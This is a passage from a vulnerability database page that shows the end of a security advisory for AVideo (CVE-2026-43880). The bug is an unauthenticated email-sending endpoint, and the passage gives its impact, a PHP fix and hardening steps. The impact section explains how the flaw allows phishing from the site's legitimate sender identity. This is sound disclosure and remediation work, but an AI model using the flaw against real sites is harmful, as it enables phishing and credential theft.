attacker\u0027s email. (Normal contact form.)\n```\n\nOmitting `contactForm` inverts the routing and turns the endpoint into an unauthenticated sender-for-hire using the site\u0027s own From: identity.\n\n## Impact\n\n- **Phishing with the site\u0027s real sender identity.** Mail originates from the site\u0027s SMTP, so SPF/DKIM/DMARC pass; the message is indistinguishable from legitimate site communications and bypasses inbox anti-phishing heuristics.\n- **Brand impersonation / account-takeover chains.** Attacker-controlled subject (`first_name`) and body (`comment`) support credential-harvesting pages that appear to come from the site operator.\n- **Mail-reputation damage.** Repeated abuse can blacklist the site\u0027s sending IP/domain, degrading legitimate mail deliverability.\n- **Works against any AVideo instance with SMTP configured** \u2014 a default deployment after the admin configures SMTP for standard notifications. No privileged position, credentials, or non-default flags required.\n\n## Recommended Fix\n\nCollapse the endpoint to contact-owner-only behavior and require either authentication or `contactForm=1`. Minimal patch:\n\n```php\n// objects/sendEmail.json.php\n...\n$valid = Captcha::validation(@$_POST[\u0027captcha\u0027]);\nif (User::isAdmin()) {\n    $valid = true;\n}\n\n// Reject the non-contactForm branch for unauthenticated callers.\n// The \"share with a friend\" flow already requires User::isLogged()\n// in the UI (view/.../functiongetShareMenu.php), so enforce it here too.\nif (empty($_POST[\u0027contactForm\u0027]) \u0026\u0026 !User::isLogged()) {\n    $obj = new stdClass();\n    $obj-\u003eerror = __(\"Authentication required\");\n    header(\u0027Content-Type: application/json\u0027);\n    echo json_encode($obj);\n    exit;\n}\n\n$obj = new stdClass();\n$obj-\u003eerror = \u0027\u0027;\nif ($valid) {\n    ...\n    $replyTo = User::getEmail_();\n    if (empty($replyTo)) {\n        // Should no longer be reachable for arbitrary recipients.\n        // Keep as defense-in-depth only for contactForm=1 path.\n        $replyTo = $config-\u003egetContactEmail();\n    }\n    ...\n}\n```\n\nAdditional hardening:\n1. Always use a dedicated `no-reply@` address in `setFrom()`; put the caller\u0027s address only in `Reply-To`. Never reuse `$config-\u003egetContactEmail()` as the From for user-initiated messages.\n2. For the logged-in \"share\" flow, verify the caller\u0027s email has been confirmed, and rate-limit by user id and by IP.\n3. Drop the non-`contactForm` branch entirely if no legitimate unauthenticated UI caller remains.\n4. Add a visible \"user-submitted message via our site\" banner to the email body so recipients can distinguish these from first-party communications.",
  "id": "GHSA-5hgj-7gm9-cff5",
  "modified": "2026-05-13T14:20:23Z",
  "published": "2026-05-05T21:56:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-5hgj-7gm9-cff5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-43880"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/4e3709895857a5857f0edb46b0ee984de0d9e1a2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo: Unauthenticated Arbitrary Email Sending via sendEmail.json.php Enables Phishing from the Site\u2019s Legitimate From Address"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

Order JSON

Publication & reservation Sightings KEV catalogs Other timestamps

Loading timeline…

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-43880 (GCVE-0-2026-43880)

FKIE_CVE-2026-43880

GHSA-5HGJ-7GM9-CFF5

Summary

Details

PoC

Impact

Recommended Fix

Tags

Sightings

Nomenclature

Vulnerability timeline

Related by attack behaviour